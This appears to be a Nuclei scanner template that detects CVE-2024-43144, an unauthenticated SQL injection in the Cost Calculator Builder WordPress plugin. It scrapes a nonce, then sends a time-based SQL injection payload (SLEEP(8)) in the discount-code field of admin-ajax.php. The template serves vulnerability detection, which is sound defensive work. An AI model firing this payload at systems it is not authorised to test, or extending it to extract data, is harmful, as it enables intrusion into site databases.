id: CVE-2024-43144

info:
  name: Cost Calculator Builder <= 3.2.15 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The Cost Calculator Builder plugin for WordPress is vulnerable to SQL Injection via discount codes in versions up to, and including, 3.2.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: Update to version 3.2.16 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cost-calculator-builder/cost-calculator-builder-3215-unauthenticated-sql-injection
    - https://patchstack.com/database/wordpress/plugin/cost-calculator-builder/vulnerability/wordpress-cost-calculator-builder-plugin-3-2-15-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43144
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-43144
    epss-score: 0.02002
    epss-percentile: 0.78189
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/cost-calculator-builder/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,cost-calculator-builder

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"ccb_add_order"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=create_cc_order&nonce={{nonce}}&data=%7B%22id%22%3A%221%22%2C%22promocodes%22%3A%5B%22%27%29%20OR%201%3D%28SELECT%20SLEEP%288%29%29--%20-%22%5D%7D

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "order_id", "success")'
          - 'status_code == 200'
          - 'duration>=8'
        condition: and
# digest: 4a0a00473045022100a5433e395e97e718c06f16ff85eefd9de9db43ac820f91bea137c208b89a708202202bffde23d89d7219c7fc062e110438e208b6589b086d74561e15f8fedc130ebe:922c64590222798bb761d5b6d8e72950